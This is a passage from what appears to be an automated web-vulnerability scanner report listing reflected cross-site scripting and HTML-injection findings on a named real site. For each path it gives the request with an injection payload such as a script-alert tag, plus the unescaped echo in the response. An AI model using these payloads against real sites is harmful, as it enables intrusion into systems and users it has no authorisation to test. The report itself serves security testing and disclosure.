The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5cb43"><script>alert(1)</script>ca045b0cc82 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /corp/sub/1,1874,1-28,00.html?5cb43"><script>alert(1)</script>ca045b0cc82=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:20:16 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:50:18 GMT
Date: Thu, 10 Mar 2011 17:20:18 GMT
Content-Length: 22538
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/corp/sub/1,1874,1-28,00.html?5cb43"><script>alert(1)</script>ca045b0cc82=1" title="Register" class="moreLink">
...[SNIP]...

2.150. http://www.rodale.com/cracker-recipes [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/cracker-recipes

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 34703"><a>678cddf4509 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /cracker-recipes34703"><a>678cddf4509 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:07:38 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1799
Expires: Thu, 10 Mar 2011 17:37:40 GMT
Date: Thu, 10 Mar 2011 17:07:41 GMT
Content-Length: 22461
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page cracker-recipes34703"><a>678cddf4509 node node-958">
...[SNIP]...

2.151. http://www.rodale.com/cracker-recipes [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/cracker-recipes

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 63322"><script>alert(1)</script>165490ecc05 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /cracker-recipes?63322"><script>alert(1)</script>165490ecc05=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:07:36 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=0
Expires: Thu, 10 Mar 2011 17:07:38 GMT
Date: Thu, 10 Mar 2011 17:07:38 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: SESS173207854f9299da8c63222b0f01afdd=je675u12adkjudcpost80l2lk6; path=/; domain=.rodale.com
Content-Length: 43476

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="http://www.stumbleupon.com/submit?url=http://www.rodale.com/cracker-recipes?63322"><script>alert(1)</script>165490ecc05=1&title=The+Nickel+Pincher%3A+Easy%2C+Crispy%2C+Crunchy%2C+Healthy+Cracker+Recipes">
...[SNIP]...

2.152. http://www.rodale.com/crib-safety [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/crib-safety

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 16fa9"><a>e5cb521aaaa was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /crib-safety16fa9"><a>e5cb521aaaa HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:05:31 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:35:32 GMT
Date: Thu, 10 Mar 2011 17:05:32 GMT
Content-Length: 22449
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page crib-safety16fa9"><a>e5cb521aaaa node node-958">
...[SNIP]...

2.153. http://www.rodale.com/crib-safety [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/crib-safety

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 30689"><script>alert(1)</script>1050b34adef was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /crib-safety?30689"><script>alert(1)</script>1050b34adef=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:05:29 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=0
Expires: Thu, 10 Mar 2011 17:05:31 GMT
Date: Thu, 10 Mar 2011 17:05:31 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: SESS173207854f9299da8c63222b0f01afdd=52jl41friqh7qvffque1iaaip6; path=/; domain=.rodale.com
Content-Length: 38116

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="http://www.stumbleupon.com/submit?url=http://www.rodale.com/crib-safety?30689"><script>alert(1)</script>1050b34adef=1&title=How+to+Make+Sure+Your+Baby%E2%80%99s+Crib+Is+Safe+for+Sleeping">
...[SNIP]...

2.154. http://www.rodale.com/edible-insects [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/edible-insects

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1dfa7"><a>3f6fc0f92fc was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /edible-insects1dfa7"><a>3f6fc0f92fc HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:05:21 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:35:24 GMT
Date: Thu, 10 Mar 2011 17:05:24 GMT
Content-Length: 22458
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page edible-insects1dfa7"><a>3f6fc0f92fc node node-958">
...[SNIP]...

2.155. http://www.rodale.com/edible-insects [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/edible-insects

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload fbb84"><script>alert(1)</script>04fb42251cf was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /edible-insects?fbb84"><script>alert(1)</script>04fb42251cf=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:05:19 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=0
Expires: Thu, 10 Mar 2011 17:05:20 GMT
Date: Thu, 10 Mar 2011 17:05:20 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: SESS173207854f9299da8c63222b0f01afdd=d5h3jgshu5ihvfckki8bmpufv5; path=/; domain=.rodale.com
Content-Length: 38947

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="http://www.stumbleupon.com/submit?url=http://www.rodale.com/edible-insects?fbb84"><script>alert(1)</script>04fb42251cf=1&title=Pass+the+Mealworms+Please%3A+Why+Eating+Insects+Is+a+Good+Idea">
...[SNIP]...

2.156. http://www.rodale.com/environment [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/environment

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ad203"><a>7fcd599f757 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /environmentad203"><a>7fcd599f757 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:06:19 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:36:22 GMT
Date: Thu, 10 Mar 2011 17:06:22 GMT
Content-Length: 22449
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page environmentad203"><a>7fcd599f757 node node-958">
...[SNIP]...

2.157. http://www.rodale.com/environment [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/environment

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c4c02"><a>ad1ebde7751 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /environment?c4c02"><a>ad1ebde7751=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:05:15 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=3600
Expires: Thu, 10 Mar 2011 18:05:19 GMT
Date: Thu, 10 Mar 2011 17:05:19 GMT
Content-Length: 27236
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class="">

<head>

...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/environment?c4c02"><a>ad1ebde7751=1" title="Register" class="moreLink">
...[SNIP]...

2.158. http://www.rodale.com/files/rodalenews_favicon.ico [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/files/rodalenews_favicon.ico

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 29aae"><a>02f5b34ff2e was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /files29aae"><a>02f5b34ff2e/rodalenews_favicon.ico HTTP/1.1
Host: www.rodale.com
Proxy-Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.127 Safari/534.16
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: cmTPSet=Y; _chartbeat2=rkdyf9xiaaxcx0fo

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 16:44:06 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:14:07 GMT
Date: Thu, 10 Mar 2011 16:44:07 GMT
Content-Length: 22529
Connection: close
Vary: Accept-Encoding

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page files29aae"><a>02f5b34ff2e files29aae">
...[SNIP]...

2.159. http://www.rodale.com/files/rodalenews_favicon.ico [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/files/rodalenews_favicon.ico

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f3565"><a>a2980b616ce was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /files/rodalenews_favicon.icof3565"><a>a2980b616ce HTTP/1.1
Host: www.rodale.com
Proxy-Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.127 Safari/534.16
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: cmTPSet=Y; _chartbeat2=rkdyf9xiaaxcx0fo

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 16:44:19 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=43199
Expires: Fri, 11 Mar 2011 04:44:19 GMT
Date: Thu, 10 Mar 2011 16:44:20 GMT
Content-Length: 22508
Connection: close
Vary: Accept-Encoding

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page files files-rodalenews_favicon.icof3565"><a>a2980b616ce node node-958">
...[SNIP]...

2.160. http://www.rodale.com/fitness [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/fitness

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload fcee9"><a>0759054b306 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /fitnessfcee9"><a>0759054b306 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:06:58 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:37:00 GMT
Date: Thu, 10 Mar 2011 17:07:00 GMT
Content-Length: 22437
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page fitnessfcee9"><a>0759054b306 node node-958">
...[SNIP]...

2.161. http://www.rodale.com/fitness [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/fitness

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ab5d7"><a>273e0a4586b was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /fitness?ab5d7"><a>273e0a4586b=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:05:16 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=3600
Expires: Thu, 10 Mar 2011 18:05:22 GMT
Date: Thu, 10 Mar 2011 17:05:22 GMT
Content-Length: 26921
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class="">

<head>

...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/fitness?ab5d7"><a>273e0a4586b=1" title="Register" class="moreLink">
...[SNIP]...

2.162. http://www.rodale.com/food [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/food

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 83979"><a>a924d7e6ed3 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /food83979"><a>a924d7e6ed3 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:06:28 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:36:31 GMT
Date: Thu, 10 Mar 2011 17:06:31 GMT
Content-Length: 22428
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page food83979"><a>a924d7e6ed3 node node-958">
...[SNIP]...

2.163. http://www.rodale.com/food [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/food

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 913f0"><a>a344906f9cb was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /food?913f0"><a>a344906f9cb=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:05:10 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=3600
Expires: Thu, 10 Mar 2011 18:05:12 GMT
Date: Thu, 10 Mar 2011 17:05:12 GMT
Content-Length: 27356
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class="">

<head>

...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/food?913f0"><a>a344906f9cb=1" title="Register" class="moreLink">
...[SNIP]...

2.164. http://www.rodale.com/green-kitchen-safety-tips [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/green-kitchen-safety-tips

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 72d20"><a>290e132ce9d was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /green-kitchen-safety-tips72d20"><a>290e132ce9d HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:06:08 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:36:10 GMT
Date: Thu, 10 Mar 2011 17:06:10 GMT
Content-Length: 22491
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page green-kitchen-safety-tips72d20"><a>290e132ce9d node node-958">
...[SNIP]...

2.165. http://www.rodale.com/green-kitchen-safety-tips [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/green-kitchen-safety-tips

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3d12a"><script>alert(1)</script>9adf26f5469 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /green-kitchen-safety-tips?3d12a"><script>alert(1)</script>9adf26f5469=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:06:06 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=0
Expires: Thu, 10 Mar 2011 17:06:08 GMT
Date: Thu, 10 Mar 2011 17:06:08 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: SESS173207854f9299da8c63222b0f01afdd=2nbqvorb965q6draus57kofrs2; path=/; domain=.rodale.com
Content-Length: 44136

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="http://www.stumbleupon.com/submit?url=http://www.rodale.com/green-kitchen-safety-tips?3d12a"><script>alert(1)</script>9adf26f5469=1&title=How+to+Keep+Your+Kitchen+Green%2C+Clean%2C+and+Safe">
...[SNIP]...

